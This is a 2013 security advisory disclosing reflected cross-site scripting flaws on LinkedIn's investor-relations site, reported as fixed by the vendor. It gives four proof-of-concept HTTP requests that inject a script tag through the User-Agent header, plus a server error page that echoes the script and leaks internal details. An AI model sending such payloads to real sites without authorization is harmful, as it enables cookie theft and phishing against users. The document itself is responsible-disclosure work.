[ISecAuditors Security Advisories] Multiple Reflected XSS vulnerabilities in LinkedIn Investors

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INTERNET SECURITY AUDITORS ALERT 2013-006
- Original release date: 4th March 2013
- Last revised:  25th March 2013
- Discovered by: Eduardo Garcia Melia
- Severity: 4.3/10 (CVSS Base Scored)
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I. VULNERABILITY
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Multiple Reflected XSS vulnerabilities in LinkedIn Investors.

II. BACKGROUND
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LinkedIn is a social networking service and
website(http://www.linkedin.com/) operates the world's largest
professional network on the Internet with more than 187 million
members in over 200 countries and territories.

More Information: http://press.linkedin.com/about

III. DESCRIPTION
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LinkedIn Investors is affected by Multiple reflected Cross-Site
Scripting vulnerabilities. An attacker can inject HTML or script code
in the context of victim's browser, so can perform XSS attacks, and
steal cookies of a targeted user. The affected resource is
http://investors.linkedin.com.

IV. PROOF OF CONCEPT
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The XSS vulnerability its in User-Agent:
===============
First XSS
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        GET /releasedetail.cfm?ReleaseID=738977' HTTP/1.1
        Host: investors.linkedin.com
        Proxy-Connection: keep-alive
        Cache-Control: max-age=0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        User-Agent: <script>alert("XSS")</script>
        Accept-Encoding: gzip,deflate,sdch
        Accept-Language: en-US,en;q=0.8
        Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
        Content-Length: 2

===============
Second XSS
===============
        GET /eventdetail.cfm?eventid=124442'-- HTTP/1.1
        Host: investors.linkedin.com
        Proxy-Connection: keep-alive
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        User-Agent: <script>alert("XSS")</script>
        Accept-Encoding: gzip,deflate,sdch
        Accept-Language: en-US,en;q=0.8
        Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
        Content-Length: 2
        
===============
Third XSS
=============== 
        GET
/stocklookup.cfm?historic_Month=2&historic_Day=4&historic_Year=2013'--
HTTP/1.1
        Host: investors.linkedin.com
        Proxy-Connection: keep-alive
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        User-Agent: <script>alert("XSS")</script>
        Referer: http://investors.linkedin.com/stocklookup.cfm
        Accept-Encoding: gzip,deflate,sdch
        Accept-Language: en-US,en;q=0.8
        Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
        Content-Length: 2
        
===============
Fourth XSS
=============== 
        GET
/calculator.cfm?PostBack=1&initialAmnt=100&calc_method=shrs&historic_Month=5&historic_Day=19&historic_Year=2011'--&Submit=Calculate
HTTP/1.1
        Host: investors.linkedin.com
        Proxy-Connection: keep-alive
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        User-Agent: <script>alert("XSS")</script>
        Referer: http://investors.linkedin.com/calculator.cfm
        Accept-Encoding: gzip,deflate,sdch
        Accept-Language: en-US,en;q=0.8
        Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
        Content-Length: 2

RESPONSE in all cases:

        HTTP/1.1 500 Internal Server Error
        Connection: close
        Date: Mon, 04 Mar 2013 11:34:48 GMT
        Server: Microsoft-IIS/6.0
        X-Powered-By: ASP.NET
        server-error: true
        Content-Type: text/html; charset=UTF-8

        <h2>Error occurred processing request</h2>

        <b>Error Diagnostic</b><p>
        <cfoutput>
        Element RESULT.TITLE is undefined in RELEASEDETAIL.  <br>The error
occurred on line 175.

        Date/Time: Mon Mar 04 06:34:48 EST 2013<br>
        Browser: <script>alert("XSS")</script><br>
        Remote Address: 192.168.149.88<br>
        <!--- removed query string from error page - info sec viewed it as
XSS - tws - 05/18/2010 --->
        </cfoutput>

V. BUSINESS IMPACT
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This flaw can be used by a malicious user to send phishing to the
linked in customers, abusing of the users trust on LinkedIn portal,
tricking the user. This user can be forward to a LinkedIn clone site
to stolen credentials, to some malicious site hosting malware and more.

VI. SYSTEMS AFFECTED
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The vulnerability affects the LinkedIn Investors:
http://investors.linkedin.com

VII. SOLUTION
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Corrected by vendor.

VIII. REFERENCES
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http://investors.linkedin.com
http://www.isecauditors.com
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)

IX. CREDITS
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These vulnerabilities have been discovered by
Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).

X. REVISION HISTORY
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March  04, 2013: Initial release
March  10, 2013: Second release

XI. DISCLOSURE TIMELINE
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March  04, 2013: Vulnerability acquired by
                 Internet Security Auditors (www.isecauditors.com)
March  10, 2013: Sent to Sec Team.
March  25, 2013: Request for update. Response regarding
                 it was already corrected. Sent to lists.

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